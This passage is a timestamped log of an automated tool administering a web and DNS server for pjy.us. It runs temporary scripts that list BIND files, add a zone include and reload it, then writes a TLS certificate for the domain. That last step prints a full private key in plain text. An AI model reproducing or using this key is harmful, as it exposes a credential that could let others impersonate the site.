2026-05-08 10:00:26: Establishing a connection
2026-05-08 10:00:26: Establishing a connection
2026-05-08 10:00:26: 

PUT: /tmp/pkp271287

#!/bin/bash
if [ -d "/var/www/pjy_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-08 10:00:26: 

chmod 755 /tmp/pkp271287; /tmp/pkp271287; rm /tmp/pkp271287

2026-05-08 10:00:26: 


0


2026-05-08 10:00:28: Establishing a connection
2026-05-08 10:00:28: Establishing a connection
2026-05-08 10:00:28: 

PUT: /tmp/pkp725930

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-08 10:00:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp725930; rm /tmp/pkp725930'

2026-05-08 10:00:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f9ea658466eb204a08ba64bebb958934
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-08 10:00:28: 

PUT: /tmp/pkp979021

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-05-08 10:00:28: 

chmod 755 /tmp/pkp979021; /tmp/pkp979021; rm /tmp/pkp979021

2026-05-08 10:00:32: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-05-08 10:00:32: 

PUT: /tmp/pkp320490

#!/bin/bash
rndc reload pjy.us 2>&1


2026-05-08 10:00:32: 

chmod 755 /tmp/pkp320490; /tmp/pkp320490; rm /tmp/pkp320490

2026-05-08 10:00:32: 


zone reload up-to-date


2026-05-08 10:00:55: Establishing a connection
2026-05-08 10:00:55: 

PUT: /tmp/pkp925929

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb.crt

cat > $temp_file <<'endmsg'
05:84:0c:6d:eb:6c:59:f5:27:04:d8:9a:db:b0:10:60

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBssou5Dw7D1l7Vc/iOxSNP3KMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA4MDkwMjI0WhcNMjYwODA2MDkwMjIzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDK8VHybJor
0Ll4HMZE/3+80Az9U1y6SgkOAZdWIJVlgkWH9FdzrCNJpgvXs1NZc5RL4/ICOFBQ
MuLR9V4LXLzGxie3ya5BFczJUFZEtd2umnBmry6LPjuf95JsQ7ksHVtVT5M9rZp3
PlaROjMsgDIaNAC2IrC0C1T/kqf4hSLbDdFA9W/eEoIqsMlR/DfuRxAln8XYXHvo
2tEPT+wpRfzgzY1i0ZlNpAqR28ubAyRs4gwzItBgRlNn0+K5QM96XnuM1mZW5iEY
XusWgCNrxTntcVoaNfMBdd/unPl0yLDyBzhQzHF3/zCj+jCeOwY1FePeaObVPjQG
V06XvfOXR48PAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUrF8wifl23LjWlNf9
d2n4Hufcn5cwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzUuY3Js
MIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAlE5Dh/rswe+B8xkkJqgYZQHH0184
AgE/cmd9VTcuGdgAAAGeBwhxxAAABAMARzBFAiASMu26GiwjG08vCPMY3YL2c6Ke
YbDD/zE+jVv5J5A3xQIhAN+FjzrSR4RR+SZ7Acf8zodyILEXODJG3uyKoogqifUZ
AH8AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGeBwhx4gAIAAAF
AAoJuo8EAwBIMEYCIQDL9+//QHiez2SLNudPXPAy1PuZnWlk5fgtbLKxfYFmsgIh
ALk8zaFtTi2VW0mvJWnpTabM2eu2UfJIvCE2tCsHRTwdMA0GCSqGSIb3DQEBCwUA
A4IBAQARYN2pZ1yjqAnNfvTTciAQZte+GDj3ZW+vu/tv/YdLU5bIdLCLQBmP2MQ5
ywhuZNfMX3tjFbwFc2vgURDr/x01lWQybiD002EX2H5Nhwdv6xs5Xj1ANh8TZt1+
w4liH4ZlnLvIavIWO+oslpoc2GUYtPskf+N5ZCbP6wByWKKbRldaVAOyNocjkE0f
kzFsJ3hjAx+8mIp/Ry9CjAGPyzIpMHTJ5KeWcqaDAUe/16UJ01qQUOV7Vb2150l7
QunDQ1GC4KX6MoEzycIeVCYFNY/7AdRsktx/nOmcjBvlMTCSI6b9KvZQt3QrPFcR
Z4j3Lolucuw/1RGF8I6sa1hXYSNs
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDK8VHybJor0Ll4
HMZE/3+80Az9U1y6SgkOAZdWIJVlgkWH9FdzrCNJpgvXs1NZc5RL4/ICOFBQMuLR
9V4LXLzGxie3ya5BFczJUFZEtd2umnBmry6LPjuf95JsQ7ksHVtVT5M9rZp3PlaR
OjMsgDIaNAC2IrC0C1T/kqf4hSLbDdFA9W/eEoIqsMlR/DfuRxAln8XYXHvo2tEP
T+wpRfzgzY1i0ZlNpAqR28ubAyRs4gwzItBgRlNn0+K5QM96XnuM1mZW5iEYXusW
gCNrxTntcVoaNfMBdd/unPl0yLDyBzhQzHF3/zCj+jCeOwY1FePeaObVPjQGV06X
vfOXR48PAgMBAAECggEAXr+jMEk3A4zcArGAefdFppwF7IHukYT+TD0+8DWfOnjD
SLGx4K31/a0Z61dsax90lafzNckf6gmP71Gc2jYuZqleIsb05astZLHuzP6R5LJz
FuXkF5tzEADwqj5GJkwAd8iCqHG0Y8bFeOFQwg6KFcTArkhs8mo2AWpxpKxX9Sfc
wL48oXI/cz3rOmo+M8iOL/TsBtaHV4m5jajkoOMz3DPgNM0+J5p70tjPiySb6cgR
KY7FdUkIQrmRZFTOKsIMTQG4WN7/TGXwYxd8V0PwIhRkr17+kwpcvKNJRKn+fMTE
Cwwf0KZ6t2iCFVNCOrx+jRNc2iCdzOC4xonLzEk98QKBgQD90S2TRmryYoDVW79t
CrKPNwLx4fA6SGebkqY7mY9nksp5bxDxDvi2SD78jLVPxJwTN4JQvAKUkzb2YoNa
aTekA3YRVASFPgDKUfdo8dlQdYcSe8hBG1nq9MlClkHnVlWjoxiyrKvZmlj2w1wq
d/i8TSsy7ou2y9gU9KrsgCeBPwKBgQDMsCIcMLhXiGNe6ixFgcNMf3XLFVZdBvIY
9R5ehgjL5wQZdLnCXNv8g5JbBL97wgWiFuyBdxJuhloypA4YdJvpllpVmbAn8RCG
RbALSb95HsnoI9z+TI9YCrCc1jDrOkDFHnvaTCY4MdnOTFyms8h8QSSnSMWbkPIY
LBdHg2GuMQKBgCeUszLATHU3/zdGc3ehr269+WuW/Etady2/lMS+kappLcH6G/47
g3WJlqjzmGK0GlK02VGVwCFDQ9LwUeOLfO3KzGKvY3UT0jO6zIZFEMqHSWUMgJIG
neMSAUCtBeH5iKlYCcXzP2lTtIPmuzy0MMnMjuwGXytGZo/+B5mR8pcpAoGAfutU
K0C2fWhPnaH8k5jTvZJnOubfJ03QPlN3YksgFzcG3rX3HSKxMZFv5co65YU4Mvqd
6eUoY6ohMbdyGg3sQ1n8Z4mlpg6fHXMGpukyteq2baAXPwO/+mqeepGBwcncMZ4m
VATVyhB3KqlE5gUicpF+JdBE36JvyzdDtA8uOXECgYEAiMe+7hDn8vEKHvo4CfeM
X1q7DedZ0p5N+OVag38tKGSj6VPGZYx6F3B53vACYOMc2r5Qo6dMm3J1C8gkffnX
wM5Hwz0b8LmldDMd+JquLpOxeVx2JykDuFttDKBTPMunIQb+4UoxLo72S/GTaro2
Xv4O9XeCPVv8OaDbDdr/5Pk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
